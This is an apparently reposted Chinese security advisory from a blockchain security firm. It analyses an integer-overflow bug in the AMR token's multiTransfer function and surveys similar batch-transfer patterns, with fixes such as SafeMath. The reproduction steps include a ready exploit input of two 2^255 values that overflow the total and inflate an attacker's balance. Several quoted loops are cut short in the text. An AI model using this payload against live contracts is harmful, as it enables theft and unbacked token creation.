Hash Incubator参与投资和孵化的BUGX.IO是一家致力于区块链领域的安全公司。核心团队组建于2014年,我们在区块链生态安全、行业解决方案、安全建设、红蓝对抗等方面有深厚积累与过硬专业素养。
日前,互联网爆出AMR合约存在高危安全风险的交易,通过研究发现,AMR合约存在批量转账溢出漏洞:当合约实现批量转账功能时,容易在计算通证增加量时发生溢出漏洞,BUGX.IO安全团队经过研究分析发现,同类漏洞仍在以太坊里面部分存在,以下为漏洞分析过程:
「原理」
/**
* @dev Function is used to perform a multi-transfer operation. This could play a significant role in the Ammbr Mesh Routing protocol.
*
* Mechanics:
* Sends tokens from Sender to destinations[0..n] the amount tokens[0..n]. Both arrays
* must have the same size, and must have a greater-than-zero length. Max array size is 127.
*
* IMPORTANT: ANTIPATTERN
* This function performs a loop over arrays. Unless executed in a controlled environment,
* it has the potential of failing due to gas running out. This is not dangerous, yet care
* must be taken to prevent quality being affected.
*
* @param destinations An array of destinations we would be sending tokens to
* @param tokens An array of tokens, sent to destinations (index is used for destination->token match)
*/
function multiTransfer(address[] destinations, uint[] tokens) public returns (bool success){
// Two variables must match in length, and must contain elements
// Plus, a maximum of 127 transfers are supported
assert(destinations.length > 0);
assert(destinations.length
assert(destinations.length == tokens.length);
// Check total requested balance
uint8 i = 0;
uint totalTokensToTransfer = 0;
for (i = 0; i
assert(tokens[i] > 0);
totalTokensToTransfer += tokens[i];
}
// Do we have enough tokens in hand?
assert (balances[msg.sender] > totalTokensToTransfer);
// We have enough tokens, execute the transfer
balances[msg.sender] = balances[msg.sender].sub(totalTokensToTransfer);
for (i = 0; i
// Add the token to the intended destination
balances[destinations[i]] = balances[destinations[i]].add(tokens[i]);
// Call the event...
emit Transfer(msg.sender, destinations[i], tokens[i]);
}
return true;
}
`totalTokensToTransfer += tokens[i];`这一句溢出,溢出后,totalTokensToTransfer 变小了,从而绕过了`assert (balances[msg.sender] > totalTokensToTransfer);`的判断,这样就能花极少的token , 任意增加目标地址的 token 。
攻击者的攻击行为:
https://etherscan.io/tx/0xd4ee42c454941fccb5d03f6155e288f28cc00473ba927ee4b19ad4e2bfc68b68
可以看到这两个 tokens 值都是 uint256 最大值的一半,两个加起来刚好溢出变为 0。
「漏洞复现」
1.部署AMR 合约
2.因为需要攻击者token 数量大于0,所以先使用管理员账户给攻击者地址充 token。
"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c",1
使用`balanceOf`可以查看到:
0x14723a09acff6d2a60dcdf7aa4aff308fddc160c有balances为1
3.使用漏洞溢出攻击
这里需要两个地址,一个是攻击者,另一个为其它地址,这里设置 0 地址就行。
执行 multiTransfer 就行。
["0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0x0000000000000000000000000000000000000000"],["57896044618658097711785492504343953926634992332820282019728792003956564819968","57896044618658097711785492504343953926634992332820282019728792003956564819968"]
4.查看攻击者余额
可以看到攻击者余额已经变得非常大。
「修复方案」
1.使用safeMath 即可解决此问题。
2.以太坊的大部分合约是以transfer 的形式进行转账,此方法也可以避免溢出问题。
function multiTransfer(address[] recipients, uint256[] amounts) public {
require(recipients.length == amounts.length);
for (uint i = 0; i
transfer(recipients[i], amounts[i]);
}
}
「深入探索」
在对以太坊上做进一步探索的时候,我们发现批量转账功能或者批量充值功能的实现主要有以下几种形式:
1.合约部署时使用批量充值功能
此功能在构造函数中实现,只有部署的时候能够使用,所以不可利用。
/// @title Gnosis token contract
contract GnosisToken is StandardToken {
/*
* Token meta data
*/
string constant public name = "Gnosis Token";
string constant public symbol = "GNO";
uint8 constant public decimals = 18;
/*
* Public functions
*/
/// @dev Contract constructor function sets dutch auction contract address and assigns all tokens to dutch auction.
/// @param dutchAuction Address of dutch auction contract.
/// @param owners Array of addresses receiving preassigned tokens.
/// @param tokens Array of preassigned token amounts.
function GnosisToken(address dutchAuction, address[] owners, uint[] tokens)
public
{
if (dutchAuction == 0)
// Address should not be null.
throw;
balances[dutchAuction] = 9000000 * 10**18;
Transfer(0, dutchAuction, balances[dutchAuction]);
uint assignedTokens = balances[dutchAuction];
for (uint i=0; i
if (owners[i] == 0)
// Address should not be null.
throw;
balances[owners[i]] += tokens[i];
Transfer(0, owners[i], tokens[i]);
assignedTokens += tokens[i];
}
if (assignedTokens != totalSupply)
throw;
}
}
2.管理者调用批量转账功能
function batchTransfer(address[] _to, uint[] _value) checkAccess("currencyOwner") returns (bool) {
if (_to.length != _value.length) {
Error(7, tx.origin, msg.sender);
return false;
}
uint totalToSend = 0;
for (uint8 i = 0; i
totalToSend += _value[i];
}
ElcoinDb db = _db();
if (db.getBalance(msg.sender)
Error(8, tx.origin, msg.sender);
return false;
}
db.withdraw(msg.sender, totalToSend, 0, 0);
for (uint8 j = 0; j
db.deposit(_to[j], _value[j], 0, 0);
Transfer(msg.sender, _to[j], _value[j]);
}
return true;
}
即使有漏洞,但受到管理者权限控制,所以一般不可利用。
3.公开函数中的批量转账功能
function transferMulti(address[] _to, uint256[] _value) public returns (uint256 amount){
require(_to.length == _value.length);
uint8 len = uint8(_to.length);
for(uint8 j; j
amount += _value[j];
}
require(balanceOf[msg.sender] >= amount);
for(uint8 i; i
address _toI = _to[i];
uint256 _valueI = _value[i];
balanceOf[_toI] += _valueI;
balanceOf[msg.sender] -= _valueI;
Transfer(msg.sender, _toI, _valueI);
}
}
我们看到了不少这种形式的写法,通过`amount += _value[j];`的增加,溢出后绕过了`require(balanceOf[msg.sender] >= amount);`的检测。
「漏洞影响范围」
研究此漏洞原理后,我们使用自研的审计系统"以太坊冲击波",对以太坊上的合约进行整体监测,发现了以下合约均存在此漏洞。
「资料」
AMR 合约地址:
本文转载自:BUGX.IO区块安全
领取专属 10元无门槛券
私享最新 技术干货